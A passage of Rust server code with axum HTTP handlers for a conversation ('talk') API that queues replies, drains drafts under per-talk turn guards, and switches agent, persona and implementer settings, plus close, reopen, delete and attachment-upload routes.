9071            tokio::spawn({
9072                let ui = Arc::clone(&ui);
9073                let id = id.clone();
9074                let said = body.text.clone();
9075                let reply_to = body.reply_to.clone();
9076                async move {
9077                    let written = blocking({
9078                        let ui = Arc::clone(&ui);
9079                        let id = id.clone();
9080                        move || {
9081                            let mut talk = ui.talks.get(&id)?;
9082                            // A test-only stop point, right before the write
9083                            // an interleaving test needs to pin - see
9084                            // `BusyQueueGate`. `None` in every real server:
9085                            // the field only exists under `#[cfg(test)]`.
9086                            #[cfg(test)]
9087                            if let Some(gate) = ui
9088                                .busy_queue_gate
9089                                .lock()
9090                                .unwrap_or_else(PoisonError::into_inner)
9091                                .take()
9092                            {
9093                                let _ = gate.reached.send(());
9094                                let _ = gate.release.recv();
9095                            }
9096                            if let Err(error) = talk::queue_reply(
9097                                &mut talk,
9098                                &ui.talks,
9099                                &said,
9100                                attachments,
9101                                reply_to,
9102                            ) {
9103                                if let Ok(fresh) = ui.talks.get(&id) {
9104                                    if !fresh.status.open() {
9105                                        return Err(ApiError::conflict(format!(
9106                                            "talk {} is {} and takes no more turns",
9107                                            fresh.short(),
9108                                            fresh.status.as_str()
9109                                        )));
9110                                    }
9111                                }
9112                                return Err(
9113                                    if error.to_string().contains("invalid reply target") {
9114                                        ApiError::bad_request("invalid reply target")
9115                                    } else {
9116                                        ApiError::from(error)
9117                                    },
9118                                );
9119                            }
9120                            // The turn that looked busy a moment ago can have
9121                            // finished, found nothing to drain and given up the
9122                            // slot in the gap between that check and this write
9123                            // landing - see `drain_loop`'s own doc for the other
9124                            // half of why that gap would otherwise be able to
9125                            // open at all. Reclaiming the slot here, rather than
9126                            // trusting that whoever held it is still watching, is
9127                            // what stops the text just queued from being stranded
9128                            // until an unrelated future `say` happens to drain
9129                            // it.
9130                            let claim = match ui.begin_queued_talk_turn(&id)? {
9131                                Some(turn_guard) => {
9132                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9133                                    Some((talk.clone(), cfg, turn_guard))
9134                                }
9135                                None => None,
9136                            };
9137                            let thinking = ui.is_thinking(&id);
9138                            Ok((TalkView::new(talk, thinking, &ui), claim))
9139                        }
9140                    })
9141                    .await;
9142                    #[cfg(not(test))]
9143                    {
9144                        match written {
9145                            Ok((view, reclaimed)) => {
9146                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9147                                drop(reclaimed);
9148                                match launched {
9149                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9150                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9151                                }
9152                            }
9153                            Err(error) => { let _ = tx.send(Err(error)); }
9154                        }
9155                    }
9156                    #[cfg(test)]
9157                    {
9158                    let (view, reclaimed) = match written {
9159                        Ok(pair) => pair,
9160                        Err(e) => {
9161                            // Nobody is listening if the handler's own future
9162                            // was already dropped - that is fine, nothing was
9163                            // persisted and there is no response left to carry
9164                            // this error to.
9165                            let _ = tx.send(Err(e));
9166                            return;
9167                        }
9168                    };
9169                    // If this fails, the caller is gone; the drain below still
9170                    // runs exactly as it would have for a caller that stayed.
9171                    let _ = tx.send(Ok(view));
9172                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9173                        let talks = ui.talks.clone();
9174                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9175                    }
9176                    }
9177                }
9178            });
9179            let view = rx
9180                .await
9181                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9182            return Ok((StatusCode::ACCEPTED, Json(view)));
9183        }
9184    };
9185
9186    let (talk, cfg) = {
9187        let ui = Arc::clone(&ui);
9188        let id = id.clone();
9189        blocking(move || {
9190            let talk = ui.talks.get(&id)?;
9191            let (cfg, _) = Config::discover(&talk.repo, None)?;
9192            Ok((talk, cfg))
9193        })
9194        .await?
9195    };
9196
9197    let talks = ui.talks.clone();
9198    // `record` runs *inside* the spawned task, rather than in this handler
9199    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9200    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9201    // doc), and that drop can land at any `.await` this function makes,
9202    // including one that has already produced its result but not yet
9203    // resumed. A message could end up recorded on disk with the handler
9204    // future gone before it ever reached the `tokio::spawn` that would have
9205    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9206    // that hands the whole future to the runtime as one unit - once made, no
9207    // later drop of *this* handler's own future (that call's return value is
9208    // never held onto here) can reach back in and stop it, so record and the
9209    // hand-off to `respond` are unconditionally atomic from the client's
9210    // point of view. The immediate response this handler owes the caller
9211    // travels back over a `oneshot`, sent the moment `record` succeeds.
9212    let (tx, rx) = tokio::sync::oneshot::channel();
9213    tokio::spawn({
9214        #[cfg(test)]
9215        let ui = Arc::clone(&ui);
9216        let talks = talks.clone();
9217        let id = id.clone();
9218        let said = body.text.clone();
9219        let reply_to = body.reply_to.clone();
9220        let mut talk = talk.clone();
9221        async move {
9222            let recorded = blocking({
9223                let talks = talks.clone();
9224                move || {
9225                    if let Err(error) =
9226                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9227                    {
9228                        if let Ok(fresh) = talks.get(&talk.id) {
9229                            if !fresh.status.open() {
9230                                return Err(ApiError::conflict(format!(
9231                                    "talk {} is {} and takes no more turns",
9232                                    fresh.short(),
9233                                    fresh.status.as_str()
9234                                )));
9235                            }
9236                        }
9237                        return Err(if error.to_string().contains("invalid reply target") {
9238                            ApiError::bad_request("invalid reply target")
9239                        } else {
9240                            ApiError::from(error)
9241                        });
9242                    }
9243                    // `record` mutates `talk` in place to the freshly persisted
9244                    // state (status, pending, and the just-appended operator
9245                    // turn), so returning it here is equivalent to re-reading it
9246                    // from disk - without the extra round trip a re-read would
9247                    // need.
9248                    Ok((said.trim().to_owned(), talk))
9249                }
9250            })
9251            .await;
9252            let (text, talk) = match recorded {
9253                Ok(pair) => pair,
9254                Err(e) => {
9255                    // Nobody is listening if the handler's own future was
9256                    // already dropped - that is fine, there is no response
9257                    // left to carry this error to and nothing was persisted.
9258                    let _ = tx.send(Err(e));
9259                    return;
9260                }
9261            };
9262            #[cfg(not(test))]
9263            {
9264                let _ = (&cfg, &text);
9265                // The reservation becomes durable while this process still
9266                // holds the talk lease. The child waits for that lease; the
9267                // new UI sees its startup reservation immediately.
9268                let result = crate::consult::spawn_recorded_turn(
9269                    &talks, &id, talk.turns.len() - 1,
9270                ).await;
9271                drop(turn_guard);
9272                match result {
9273                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9274                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9275                }
9276            }
9277            #[cfg(test)]
9278            {
9279            let queued = talk.clone();
9280            let mut talk = talk;
9281            let thinking = ui.is_thinking(&id);
9282            // If this fails, the caller is gone; the turn still runs below
9283            // exactly as it would have for a caller that stayed connected.
9284            let _ = tx.send(Ok((queued, thinking)));
9285
9286            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9287                // `respond` records the failure in the transcript itself,
9288                // which is what the phone reads; this line is for the
9289                // operator's terminal.
9290                tracing::warn!("talk {id} turn failed: {e:#}");
9291            }
9292            // Anything `talk::queue` added while the turn above was running
9293            // is still owed an answer - see `drain_loop`.
9294            drain_loop(talk, talks, cfg, id, turn_guard).await;
9295            }
9296        }
9297    });
9298
9299    let (queued, thinking) = rx
9300        .await
9301        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9302
9303    // 202: the operator's message is recorded and a turn is running.
9304    Ok((
9305        StatusCode::ACCEPTED,
9306        Json(TalkView::new(queued, thinking, &ui)),
9307    ))
9308    }).await
9309}
9310
9311/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9312/// changing it. The turn guard is the same per-talk ownership `talk_say`
9313/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9314async fn talk_pending_resume(
9315    State(ui): State<Arc<Ui>>,
9316    Path(id): Path<String>,
9317) -> ApiResult<(StatusCode, Json<TalkView>)> {
9318    let admission = ui.begin_admission()?;
9319    admitted(admission, async move {
9320        let id = {
9321            let ui = Arc::clone(&ui);
9322            let asked = id.clone();
9323            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9324        };
9325        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9326            .await
9327            .map_err(ApiError::from)?;
9328        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9329            return Err(ApiError::conflict(
9330                "a talk turn is already running; the queued draft will be handled by it",
9331            ));
9332        };
9333        let (talk, cfg) = {
9334            let ui = Arc::clone(&ui);
9335            let id = id.clone();
9336            blocking(move || {
9337                let talk = ui.talks.get(&id)?;
9338                if !talk.status.open() {
9339                    return Err(ApiError::conflict(format!(
9340                        "talk {} is {} and takes no more turns",
9341                        talk.short(),
9342                        talk.status.as_str()
9343                    )));
9344                }
9345                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9346                    return Err(ApiError::conflict("there is no queued draft to resume"));
9347                }
9348                let (cfg, _) = Config::discover(&talk.repo, None)?;
9349                Ok((talk, cfg))
9350            })
9351            .await?
9352        };
9353        let view = TalkView::new(talk.clone(), true, &ui);
9354        let talks = ui.talks.clone();
9355        #[cfg(not(test))]
9356        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9357        #[cfg(test)]
9358        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9359        Ok((StatusCode::ACCEPTED, Json(view)))
9360    })
9361    .await
9362}
9363
9364/// Hand off an admitted draft while retaining the talk lease until its
9365/// detached startup reservation is durable.
9366#[cfg(not(test))]
9367async fn detach_talk_turn(
9368    _talk: Talk,
9369    talks: Talks,
9370    _cfg: Config,
9371    id: String,
9372    turn: TalkTurnGuard,
9373) -> ApiResult<()> {
9374    let launched = crate::consult::spawn_turn(&talks, &id).await;
9375    drop(turn);
9376    launched.map(|_| ()).map_err(ApiError::from)
9377}
9378
9379#[cfg(test)]
9380async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9381    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9382}
9383
9384/// A settings response must not report idle while its claim is still held.
9385/// Wait until the first drain either releases the claim or promotes a draft.
9386/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9387async fn settle_settings_turn(
9388    talk: Talk,
9389    talks: Talks,
9390    cfg: Config,
9391    id: String,
9392    turn: TalkTurnGuard,
9393    observed: u64,
9394) -> bool {
9395    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9396        let turns = Arc::clone(&turn.turns);
9397        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9398        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9399            // Release under the arrival lock; a later `/say` takes its own claim.
9400            turn.release(&mut live);
9401            return false;
9402        }
9403    }
9404    let (started, settled) = tokio::sync::oneshot::channel();
9405    tokio::spawn(drain_loop_started(
9406        talk,
9407        talks,
9408        cfg,
9409        id,
9410        turn,
9411        Some(started),
9412    ));
9413    settled.await.unwrap_or(false)
9414}
9415
9416#[cfg(not(test))]
9417async fn drain_loop_started(
9418    talk: Talk,
9419    talks: Talks,
9420    _cfg: Config,
9421    id: String,
9422    turn: TalkTurnGuard,
9423    started: Option<tokio::sync::oneshot::Sender<bool>>,
9424) {
9425    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9426    let running = if pending {
9427        match crate::consult::spawn_turn(&talks, &id).await {
9428            Ok(_) => true,
9429            Err(error) => {
9430                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9431                false
9432            }
9433        }
9434    } else {
9435        false
9436    };
9437    drop(turn);
9438    if let Some(started) = started {
9439        let _ = started.send(running);
9440    }
9441}
9442
9443// Existing in-process conversation tests exercise transcript/arrival ordering;
9444// real process-lifetime behavior is covered by the CLI integration tests.
9445#[cfg(test)]
9446async fn drain_loop_started(
9447    mut talk: Talk,
9448    talks: Talks,
9449    cfg: Config,
9450    id: String,
9451    turn: TalkTurnGuard,
9452    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9453) {
9454    let live_set = Arc::clone(&turn.turns);
9455    // `Option` rather than binding `turn` directly to a `_turn` that lives
9456    // for the whole function: releasing it has to happen by calling
9457    // `TalkTurnGuard::release` from inside the locked branch below, which
9458    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9459    // remove the id - correctly, if this loop is ever left some other way -
9460    // but doing it there misses the lock this loop is already holding, which
9461    // is the exact gap `release` exists to close.
9462    let mut turn = Some(turn);
9463    loop {
9464        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9465            // The lease was taken over while a turn ran. Whatever is queued
9466            // stays a draft; running it here would race the new owner.
9467            tracing::warn!("talk {id} lost its turn lease; not draining further");
9468            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9469            if let Some(turn) = turn.take() {
9470                turn.release(&mut live);
9471            }
9472            break;
9473        }
9474        // `talk::drain` takes the store lock and can write/rename the talk
9475        // file. Keep the turn mutex out of that synchronous work: it protects
9476        // every talk's in-memory claim, not this talk's disk operation.
9477        let observed = live_set
9478            .lock()
9479            .unwrap_or_else(PoisonError::into_inner)
9480            .queued
9481            .get(&id)
9482            .copied()
9483            .unwrap_or(0);
9484        let drained = blocking({
9485            let talks = talks.clone();
9486            move || {
9487                let result = talk::drain(&mut talk, &talks);
9488                Ok((talk, result))
9489            }
9490        })
9491        .await;
9492        let (next_talk, result) = match drained {
9493            Ok(drained) => drained,
9494            Err(e) => {
9495                tracing::warn!(
9496                    status = %e.status,
9497                    message = %e.message,
9498                    "talk {id} could not start queued-text drain"
9499                );
9500                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9501                turn.take()
9502                    .expect("held for the whole loop until released here")
9503                    .release(&mut live);
9504                break;
9505            }
9506        };
9507        talk = next_talk;
9508        let drained = match result {
9509            Ok(Some(drained)) => drained,
9510            Ok(None) => {
9511                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9512                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9513                    continue;
9514                }
9515                turn.take()
9516                    .expect("held for the whole loop until released here")
9517                    .release(&mut live);
9518                break;
9519            }
9520            Err(e) => {
9521                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9522                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9523                turn.take()
9524                    .expect("held for the whole loop until released here")
9525                    .release(&mut live);
9526                break;
9527            }
9528        };
9529        if let Some(started) = started.take() {
9530            let _ = started.send(true);
9531        }
9532        let responded = match turn.as_ref() {
9533            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9534            None => Err(anyhow::anyhow!("the turn guard was released")),
9535        };
9536        if let Err(e) = responded {
9537            tracing::warn!("talk {id} turn failed: {e:#}");
9538        }
9539    }
9540    drop(turn);
9541    if let Some(started) = started {
9542        let _ = started.send(false);
9543    }
9544}
9545
9546/// Clear a queued draft only if it remains exactly the one the caller saw.
9547async fn talk_pending_clear(
9548    State(ui): State<Arc<Ui>>,
9549    Path(id): Path<String>,
9550    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9551) -> ApiResult<Json<TalkView>> {
9552    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9553    blocking(move || {
9554        let id = resolve_talk(&ui.talks, &id)?;
9555        let mut talk = ui.talks.get(&id)?;
9556        if !talk.status.open() {
9557            return Err(ApiError::conflict(format!(
9558                "talk {} is {} and takes no more turns",
9559                talk.short(),
9560                talk.status.as_str()
9561            )));
9562        }
9563        if !talk::clear_pending_if_matches(
9564            &mut talk,
9565            &ui.talks,
9566            &body.expected_text,
9567            &body.expected_attachments,
9568        )? {
9569            return Err(ApiError::conflict(
9570                "queued message changed; reload it before clearing",
9571            ));
9572        }
9573        let thinking = ui.is_thinking(&talk.id);
9574        Ok(Json(TalkView::new(talk, thinking, &ui)))
9575    })
9576    .await
9577}
9578
9579/// Atomically edit a queued draft's text while preserving its attachments.
9580/// The snapshot fields make a concurrent queue or drain a conflict rather
9581/// than silently discarding either message.
9582async fn talk_pending_edit(
9583    State(ui): State<Arc<Ui>>,
9584    Path(id): Path<String>,
9585    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9586) -> ApiResult<Json<TalkView>> {
9587    let admission = ui.begin_admission()?;
9588    admitted(admission, async move {
9589        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9590        let id = {
9591            let ui = Arc::clone(&ui);
9592            blocking(move || resolve_talk(&ui.talks, &id)).await?
9593        };
9594        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9595            .await
9596            .map_err(ApiError::from)?;
9597        let (view, reclaimed) = blocking({
9598            let ui = Arc::clone(&ui);
9599            move || {
9600                let mut talk = ui.talks.get(&id)?;
9601                if !talk.status.open() {
9602                    return Err(ApiError::conflict(format!(
9603                        "talk {} is {} and takes no more turns",
9604                        talk.short(),
9605                        talk.status.as_str()
9606                    )));
9607                }
9608                if !talk::edit_pending_message(
9609                    &mut talk,
9610                    &ui.talks,
9611                    &body.text,
9612                    &body.expected_text,
9613                    &body.expected_attachments,
9614                    body.message,
9615                )? {
9616                    return Err(ApiError::conflict(
9617                        "queued message changed; reload it before editing",
9618                    ));
9619                }
9620                let claim = match ui.begin_queued_talk_turn(&id)? {
9621                    Some(turn_guard) => {
9622                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9623                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9624                    }
9625                    None => None,
9626                };
9627                let thinking = ui.is_thinking(&id);
9628                Ok((TalkView::new(talk, thinking, &ui), claim))
9629            }
9630        })
9631        .await?;
9632        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9633            let talks = ui.talks.clone();
9634            #[cfg(not(test))]
9635            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9636            #[cfg(test)]
9637            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9638        }
9639        Ok(Json(view))
9640    })
9641    .await
9642}
9643
9644/// The 409 for a talk that takes no more turns.
9645fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9646    if talk.status.open() {
9647        return Ok(());
9648    }
9649    Err(ApiError::conflict(format!(
9650        "talk {} is {} and takes no more turns",
9651        talk.short(),
9652        talk.status.as_str()
9653    )))
9654}
9655
9656/// The body of `POST /api/talks/{id}/agent`.
9657#[derive(Debug, Deserialize)]
9658struct TalkAgent {
9659    agent: String,
9660}
9661
9662/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9663/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9664/// start a turn on the old session between the check and the write; one that
9665/// arrives in that window finds the talk busy and becomes a draft.
9666async fn talk_agent(
9667    State(ui): State<Arc<Ui>>,
9668    Path(id): Path<String>,
9669    Json(body): Json<TalkAgent>,
9670) -> ApiResult<Json<TalkView>> {
9671    let admission = ui.begin_admission()?;
9672    admitted(admission, async move {
9673        let id = {
9674            let ui = Arc::clone(&ui);
9675            blocking(move || resolve_talk(&ui.talks, &id)).await?
9676        };
9677        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9678            .await
9679            .map_err(ApiError::from)?;
9680        let repo = {
9681            let ui = Arc::clone(&ui);
9682            let id = id.clone();
9683            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9684        };
9685        let cfg = config_for(&repo).await?;
9686        // Refuse before taking the claim; see `talk_implementers`.
9687        {
9688            let ui = Arc::clone(&ui);
9689            let id = id.clone();
9690            let cfg = cfg.clone();
9691            let wanted = body.agent.clone();
9692            blocking(move || {
9693                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9694                    .map_err(ApiError::bad_request_from)?;
9695                refuse_if_closed(&ui.talks.get(&id)?)
9696            })
9697            .await?;
9698        }
9699        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9700            return Err(ApiError::conflict(
9701                "a talk turn is running; change the agent once it has answered",
9702            ));
9703        };
9704        let switched = {
9705            let ui = Arc::clone(&ui);
9706            let id = id.clone();
9707            let cfg = cfg.clone();
9708            blocking(move || {
9709                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9710                    .map_err(ApiError::bad_request_from)?;
9711                let mut talk = ui.talks.get(&id)?;
9712                if !talk.status.open() {
9713                    return Err(ApiError::conflict(format!(
9714                        "talk {} is {} and takes no more turns",
9715                        talk.short(),
9716                        talk.status.as_str()
9717                    )));
9718                }
9719                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9720                Ok(talk)
9721            })
9722            .await
9723        };
9724        // A `/say` that landed while this held the claim saw the talk busy and
9725        // left a durable draft, trusting the claim's owner to drain it. So the
9726        // claim is settled whatever the outcome. Release an empty draft's claim
9727        // before replying; queued drafts continue independently of the handler.
9728        let observed = ui.queued_generation(&id);
9729        let fresh = {
9730            let ui = Arc::clone(&ui);
9731            let id = id.clone();
9732            blocking(move || Ok(ui.talks.get(&id)?)).await
9733        };
9734        let draining = match fresh {
9735            Ok(talk) => {
9736                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9737            }
9738            Err(_) => false,
9739        };
9740        let talk = switched?;
9741        Ok(Json(TalkView::new(talk, draining, &ui)))
9742    })
9743    .await
9744}
9745
9746/// The body of `POST /api/talks/{id}/persona`.
9747#[derive(Debug, Deserialize)]
9748struct TalkPersona {
9749    persona: String,
9750}
9751
9752/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9753/// like [`talk_agent`]: the turn guard is held for the change and always handed
9754/// to `drain_loop`, so a draft left meanwhile is not stranded.
9755async fn talk_persona(
9756    State(ui): State<Arc<Ui>>,
9757    Path(id): Path<String>,
9758    Json(body): Json<TalkPersona>,
9759) -> ApiResult<Json<TalkView>> {
9760    let admission = ui.begin_admission()?;
9761    admitted(admission, async move {
9762        let id = {
9763            let ui = Arc::clone(&ui);
9764            blocking(move || resolve_talk(&ui.talks, &id)).await?
9765        };
9766        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9767            .await
9768            .map_err(ApiError::from)?;
9769        let repo = {
9770            let ui = Arc::clone(&ui);
9771            let id = id.clone();
9772            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9773        };
9774        let cfg = config_for(&repo).await?;
9775        // Refuse before taking the claim; see `talk_implementers`.
9776        {
9777            let ui = Arc::clone(&ui);
9778            let id = id.clone();
9779            let cfg = cfg.clone();
9780            let wanted = body.persona.clone();
9781            blocking(move || {
9782                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9783                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9784                }
9785                refuse_if_closed(&ui.talks.get(&id)?)
9786            })
9787            .await?;
9788        }
9789        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9790            return Err(ApiError::conflict(
9791                "a talk turn is running; change the persona once it has answered",
9792            ));
9793        };
9794        let switched = {
9795            let ui = Arc::clone(&ui);
9796            let id = id.clone();
9797            let cfg = cfg.clone();
9798            blocking(move || {
9799                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9800                    return Err(ApiError::bad_request(format!(
9801                        "unknown persona `{}`",
9802                        body.persona
9803                    )));
9804                };
9805                let mut talk = ui.talks.get(&id)?;
9806                if !talk.status.open() {
9807                    return Err(ApiError::conflict(format!(
9808                        "talk {} is {} and takes no more turns",
9809                        talk.short(),
9810                        talk.status.as_str()
9811                    )));
9812                }
9813                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9814                Ok(talk)
9815            })
9816            .await
9817        };
9818        // As in `talk_agent`: settle the claim before replying, even on refusal.
9819        let observed = ui.queued_generation(&id);
9820        let fresh = {
9821            let ui = Arc::clone(&ui);
9822            let id = id.clone();
9823            blocking(move || Ok(ui.talks.get(&id)?)).await
9824        };
9825        let draining = match fresh {
9826            Ok(talk) => {
9827                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9828            }
9829            Err(_) => false,
9830        };
9831        let talk = switched?;
9832        Ok(Json(TalkView::new(talk, draining, &ui)))
9833    })
9834    .await
9835}
9836
9837/// The body of `POST /api/talks/{id}/implementers`.
9838#[derive(Debug, Deserialize)]
9839struct TalkImplementers {
9840    implementers: u8,
9841}
9842
9843/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9844/// like [`talk_agent`]: the turn guard is held for the change and always handed
9845/// to `drain_loop`, so a draft left meanwhile is not stranded.
9846async fn talk_implementers(
9847    State(ui): State<Arc<Ui>>,
9848    Path(id): Path<String>,
9849    Json(body): Json<TalkImplementers>,
9850) -> ApiResult<Json<TalkView>> {
9851    let admission = ui.begin_admission()?;
9852    admitted(admission, async move {
9853        let id = {
9854            let ui = Arc::clone(&ui);
9855            blocking(move || resolve_talk(&ui.talks, &id)).await?
9856        };
9857        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9858            .await
9859            .map_err(ApiError::from)?;
9860        let repo = {
9861            let ui = Arc::clone(&ui);
9862            let id = id.clone();
9863            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9864        };
9865        let cfg = config_for(&repo).await?;
9866        // Refuse a request that cannot succeed before taking the claim: a claim
9867        // taken for it is handed to `drain_loop`, which holds the talk busy for a
9868        // moment, so a refusal would make the next request see "busy" instead of
9869        // its own answer. The checks after the claim stay the ones that decide.
9870        {
9871            let ui = Arc::clone(&ui);
9872            let id = id.clone();
9873            let cfg = cfg.clone();
9874            let wanted = body.implementers;
9875            blocking(move || {
9876                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9877                refuse_if_closed(&ui.talks.get(&id)?)
9878            })
9879            .await?;
9880        }
9881        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9882            return Err(ApiError::conflict(
9883                "a talk turn is running; change the implementers once it has answered",
9884            ));
9885        };
9886        let switched = {
9887            let ui = Arc::clone(&ui);
9888            let id = id.clone();
9889            let cfg = cfg.clone();
9890            blocking(move || {
9891                let chosen = talk::check_implementers(body.implementers, &cfg)
9892                    .map_err(ApiError::bad_request)?;
9893                let mut talk = ui.talks.get(&id)?;
9894                if !talk.status.open() {
9895                    return Err(ApiError::conflict(format!(
9896                        "talk {} is {} and takes no more turns",
9897                        talk.short(),
9898                        talk.status.as_str()
9899                    )));
9900                }
9901                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9902                Ok(talk)
9903            })
9904            .await
9905        };
9906        // As in `talk_agent`: settle the claim before replying, even on refusal.
9907        let observed = ui.queued_generation(&id);
9908        let fresh = {
9909            let ui = Arc::clone(&ui);
9910            let id = id.clone();
9911            blocking(move || Ok(ui.talks.get(&id)?)).await
9912        };
9913        let draining = match fresh {
9914            Ok(talk) => {
9915                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9916            }
9917            Err(_) => false,
9918        };
9919        let talk = switched?;
9920        Ok(Json(TalkView::new(talk, draining, &ui)))
9921    })
9922    .await
9923}
9924
9925/// `POST /api/talks/{id}/close`.
9926async fn talk_close(
9927    State(ui): State<Arc<Ui>>,
9928    Path(id): Path<String>,
9929) -> ApiResult<Json<TalkView>> {
9930    blocking(move || {
9931        let id = resolve_talk(&ui.talks, &id)?;
9932        let mut talk = ui.talks.get(&id)?;
9933        talk::close(&mut talk, &ui.talks)?;
9934        let thinking = ui.is_thinking(&talk.id);
9935        Ok(Json(TalkView::new(talk, thinking, &ui)))
9936    })
9937    .await
9938}
9939
9940/// `POST /api/talks/{id}/reopen`.
9941async fn talk_reopen(
9942    State(ui): State<Arc<Ui>>,
9943    Path(id): Path<String>,
9944) -> ApiResult<Json<TalkView>> {
9945    blocking(move || {
9946        let id = resolve_talk(&ui.talks, &id)?;
9947        let mut talk = ui.talks.get(&id)?;
9948        talk::reopen(&mut talk, &ui.talks)?;
9949        let thinking = ui.is_thinking(&talk.id);
9950        Ok(Json(TalkView::new(talk, thinking, &ui)))
9951    })
9952    .await
9953}
9954
9955/// `DELETE /api/talks/{id}`.
9956///
9957/// Removes the conversation's record and artifacts outright, unlike
9958/// [`talk_close`] which keeps the record as history. A turn already in
9959/// flight is not refused here the way [`run_delete`] refuses a live run:
9960/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9961/// under [`Talks::guard`], that the record they are about to write back is
9962/// still there, so a delete racing a turn is safe without this route having
9963/// to know a turn is running at all.
9964async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9965    blocking(move || {
9966        let id = resolve_talk(&ui.talks, &id)?;
9967        ui.talks.remove(&id)?;
9968        Ok(StatusCode::NO_CONTENT)
9969    })
9970    .await
9971}
9972
9973fn talk_ids(root: &FsPath) -> Vec<String> {
9974    std::fs::read_dir(root)
9975        .into_iter()
9976        .flatten()
9977        .flatten()
9978        .filter_map(|e| {
9979            let path = e.path();
9980            if path.extension().is_some_and(|ext| ext == "json") {
9981                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9982            } else {
9983                None
9984            }
9985        })
9986        .collect()
9987}
9988
9989/// Expand an id or short id to exactly one talk id.
9990fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9991    if plain_record_id(id) && store.path_of(id).is_file() {
9992        return Ok(id.to_owned());
9993    }
9994    pick(talk_ids(store.root()), id, "talk")
9995}
9996
9997/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
9998/// future `talk-say`.
9999async fn talk_attachment_post(
10000    State(ui): State<Arc<Ui>>,
10001    Path(id): Path<String>,
10002    headers: HeaderMap,
10003    body: Bytes,
10004) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10005    let mime = validate_attachment(&headers, &body)?;
10006    let name = filename_header(&headers);
10007    let data = body.to_vec();
10008    blocking(move || {
10009        let id = resolve_talk(&ui.talks, &id)?;
10010        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
